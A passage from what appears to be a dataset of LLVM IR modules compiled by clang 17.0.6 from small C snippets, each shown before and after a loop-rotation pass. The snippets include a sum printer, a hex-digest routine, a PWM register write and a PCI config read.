; preds = %10, %8 %13 = load i32, ptr %1, align 4 ret i32 %13 } declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp14fuk3na.c' source_filename = "/tmp/tmp14fuk3na.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @f203(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @f202(ptr noundef %3) ret i32 %4 } declare i32 @f202(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp14fuk3na.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @f203(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @f202(ptr noundef %3) ret i32 %4 } declare i32 @f202(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmparwmom7b.c' source_filename = "/tmp/tmparwmom7b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [27 x i8] c"The sum of %i and %i is %i\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 50, ptr %2, align 4 store i32 25, ptr %3, align 4 %5 = load i32, ptr %2, align 4 %6 = load i32, ptr %3, align 4 %7 = add nsw i32 %5, %6 store i32 %7, ptr %4, align 4 %8 = load i32, ptr %2, align 4 %9 = load i32, ptr %3, align 4 %10 = load i32, ptr %4, align 4 %11 = call i32 @printf(ptr noundef @.str, i32 noundef %8, i32 noundef %9, i32 noundef %10) ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmparwmom7b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [27 x i8] c"The sum of %i and %i is %i\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 50, ptr %2, align 4 store i32 25, ptr %3, align 4 %5 = load i32, ptr %2, align 4 %6 = load i32, ptr %3, align 4 %7 = add nsw i32 %5, %6 store i32 %7, ptr %4, align 4 %8 = load i32, ptr %2, align 4 %9 = load i32, ptr %3, align 4 %10 = load i32, ptr %4, align 4 %11 = call i32 @printf(ptr noundef @.str, i32 noundef %8, i32 noundef %9, i32 noundef %10) ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpv9ouo1xs.c' source_filename = "/tmp/tmpv9ouo1xs.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @hex_digest.hex = internal global [33 x i8] zeroinitializer, align 16 @.str = private unnamed_addr constant [5 x i8] c"%02x\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @hex_digest(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 store ptr %5, ptr %3, align 8 store ptr @hex_digest.hex, ptr %4, align 8 br label %6 6: ; preds = %17, %1 %7 = load ptr, ptr %3, align 8 %8 = load ptr, ptr %2, align 8 %9 = getelementptr inbounds i8, ptr %8, i64 16 %10 = icmp ult ptr %7, %9 br i1 %10, label %11, label %22 11: ; preds = %6 %12 = load ptr, ptr %4, align 8 %13 = load ptr, ptr %3, align 8 %14 = load i8, ptr %13, align 1 %15 = zext i8 %14 to i32 %16 = call i32 @snprintf(ptr noundef %12, i32 noundef 3, ptr noundef @.str, i32 noundef %15) br label %17 17: ; preds = %11 %18 = load ptr, ptr %3, align 8 %19 = getelementptr inbounds i8, ptr %18, i32 1 store ptr %19, ptr %3, align 8 %20 = load ptr, ptr %4, align 8 %21 = getelementptr inbounds i8, ptr %20, i64 2 store ptr %21, ptr %4, align 8 br label %6, !llvm.loop !6 22: ; preds = %6 ret ptr @hex_digest.hex } declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpv9ouo1xs.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @hex_digest.hex = internal global [33 x i8] zeroinitializer, align 16 @.str = private unnamed_addr constant [5 x i8] c"%02x\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @hex_digest(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 store ptr %5, ptr %3, align 8 store ptr @hex_digest.hex, ptr %4, align 8 %6 = load ptr, ptr %3, align 8 %7 = load ptr, ptr %2, align 8 %8 = getelementptr inbounds i8, ptr %7, i64 16 %9 = icmp ult ptr %6, %8 br i1 %9, label %.lr.ph, label %25 .lr.ph: ; preds = %1 br label %10 10: ; preds = %.lr.ph, %16 %11 = load ptr, ptr %4, align 8 %12 = load ptr, ptr %3, align 8 %13 = load i8, ptr %12, align 1 %14 = zext i8 %13 to i32 %15 = call i32 @snprintf(ptr noundef %11, i32 noundef 3, ptr noundef @.str, i32 noundef %14) br label %16 16: ; preds = %10 %17 = load ptr, ptr %3, align 8 %18 = getelementptr inbounds i8, ptr %17, i32 1 store ptr %18, ptr %3, align 8 %19 = load ptr, ptr %4, align 8 %20 = getelementptr inbounds i8, ptr %19, i64 2 store ptr %20, ptr %4, align 8 %21 = load ptr, ptr %3, align 8 %22 = load ptr, ptr %2, align 8 %23 = getelementptr inbounds i8, ptr %22, i64 16 %24 = icmp ult ptr %21, %23 br i1 %24, label %10, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %16 br label %25 25: ; preds = %._crit_edge, %1 ret ptr @hex_digest.hex } declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp9vj0y5qv.c' source_filename = "/tmp/tmp9vj0y5qv.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp9vj0y5qv.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp65wtjm2c.c' source_filename = "/tmp/tmp65wtjm2c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @PWMSyncUpdate(i64 noundef %0, i64 noundef %1) #0 { %3 = alloca i64, align 8 %4 = alloca i64, align 8 store i64 %0, ptr %3, align 8 store i64 %1, ptr %4, align 8 %5 = load i64, ptr %3, align 8 %6 = icmp eq i64 %5, 1073905664 br i1 %6, label %10, label %7 7: ; preds = %2 %8 = load i64, ptr %3, align 8 %9 = icmp eq i64 %8, 1073909760 br label %10 10: ; preds = %7, %2 %11 = phi i1 [ true, %2 ], [ %9, %7 ] %12 = zext i1 %11 to i32 %13 = call i32 @DEBUG_ASSERT(i32 noundef %12) %14 = load i64, ptr %4, align 8 %15 = and i64 %14, -16 %16 = icmp ne i64 %15, 0 %17 = xor i1 %16, true %18 = zext i1 %17 to i32 %19 = call i32 @DEBUG_ASSERT(i32 noundef %18) %20 = load i64, ptr %4, align 8 %21 = load i64, ptr %3, align 8 %22 = add i64 %21, 0 %23 = inttoptr i64 %22 to ptr store volatile i64 %20, ptr %23, align 8 ret void } declare i32 @DEBUG_ASSERT(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp65wtjm2c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @PWMSyncUpdate(i64 noundef %0, i64 noundef %1) #0 { %3 = alloca i64, align 8 %4 = alloca i64, align 8 store i64 %0, ptr %3, align 8 store i64 %1, ptr %4, align 8 %5 = load i64, ptr %3, align 8 %6 = icmp eq i64 %5, 1073905664 br i1 %6, label %10, label %7 7: ; preds = %2 %8 = load i64, ptr %3, align 8 %9 = icmp eq i64 %8, 1073909760 br label %10 10: ; preds = %7, %2 %11 = phi i1 [ true, %2 ], [ %9, %7 ] %12 = zext i1 %11 to i32 %13 = call i32 @DEBUG_ASSERT(i32 noundef %12) %14 = load i64, ptr %4, align 8 %15 = and i64 %14, -16 %16 = icmp ne i64 %15, 0 %17 = xor i1 %16, true %18 = zext i1 %17 to i32 %19 = call i32 @DEBUG_ASSERT(i32 noundef %18) %20 = load i64, ptr %4, align 8 %21 = load i64, ptr %3, align 8 %22 = add i64 %21, 0 %23 = inttoptr i64 %22 to ptr store volatile i64 %20, ptr %23, align 8 ret void } declare i32 @DEBUG_ASSERT(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpuc_oewz3.c' source_filename = "/tmp/tmpuc_oewz3.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%lf\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"%.1f\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca double, align 8 %3 = alloca double, align 8 %4 = alloca i32, align 4 store i32 0, ptr %1, align 4 store double 0.000000e+00, ptr %3, align 8 store i32 0, ptr %4, align 4 br label %5 5: ; preds = %13, %0 %6 = load i32, ptr %4, align 4 %7 = icmp slt i32 %6, 25 br i1 %7, label %8, label %16 8: ; preds = %5 %9 = call i32 @scanf(ptr noundef @.str, ptr noundef %2) %10 = load double, ptr %2, align 8 %11 = load double, ptr %3, align 8 %12 = fadd double %11, %10 store double %12, ptr %3, align 8 br label %13 13: ; preds = %8 %14 = load i32, ptr %4, align 4 %15 = add nsw i32 %14, 1 store i32 %15, ptr %4, align 4 br label %5, !llvm.loop !6 16: ; preds = %5 %17 = load double, ptr %3, align 8 %18 = call i32 @printf(ptr noundef @.str.1, double noundef %17) ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpuc_oewz3.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%lf\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"%.1f\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca double, align 8 %3 = alloca double, align 8 %4 = alloca i32, align 4 store i32 0, ptr %1, align 4 store double 0.000000e+00, ptr %3, align 8 store i32 0, ptr %4, align 4 %5 = load i32, ptr %4, align 4 %6 = icmp slt i32 %5, 25 br i1 %6, label %.lr.ph, label %17 .lr.ph: ; preds = %0 br label %7 7: ; preds = %.lr.ph, %12 %8 = call i32 @scanf(ptr noundef @.str, ptr noundef %2) %9 = load double, ptr %2, align 8 %10 = load double, ptr %3, align 8 %11 = fadd double %10, %9 store double %11, ptr %3, align 8 br label %12 12: ; preds = %7 %13 = load i32, ptr %4, align 4 %14 = add nsw i32 %13, 1 store i32 %14, ptr %4, align 4 %15 = load i32, ptr %4, align 4 %16 = icmp slt i32 %15, 25 br i1 %16, label %7, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %12 br label %17 17: ; preds = %._crit_edge, %0 %18 = load double, ptr %3, align 8 %19 = call i32 @printf(ptr noundef @.str.1, double noundef %18) ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpojocd5_7.c' source_filename = "/tmp/tmpojocd5_7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @main() #0 { %1 = alloca i64, align 8 %2 = call i64 @pcibios_read_config_dword(i32 noundef 0, i32 noundef 192, i32 noundef 108) store i64 %2, ptr %1, align 8 %3 = load i64, ptr %1, align 8 %4 = call i32 @print_debug_hex32(i64 noundef %3) ret void } declare i64 @pcibios_read_config_dword(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @print_debug_hex32(i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpojocd5_7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @main() #0 { %1 = alloca i64, align 8 %2 = call i64 @pcibios_read_config_dword(i32 noundef 0, i32 noundef 192, i32 noundef 108) store i64 %2, ptr %1, align 8 %3 = load i64, ptr %1, align 8 %4 = call i32 @print_debug_hex32(i64 noundef %3) ret void } declare i64 @pcibios_read_config_dword(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @print_debug_hex32(i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpklbhhahk.c' source_filename = "/tmp/tmpklbhhahk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpklbhhahk.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpxb0nhyfq.c' source_filename = "/tmp/tmpxb0nhyfq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpxb0nhyfq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmph92z4qy_.c' source_filename = "/tmp/tmph92z4qy_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
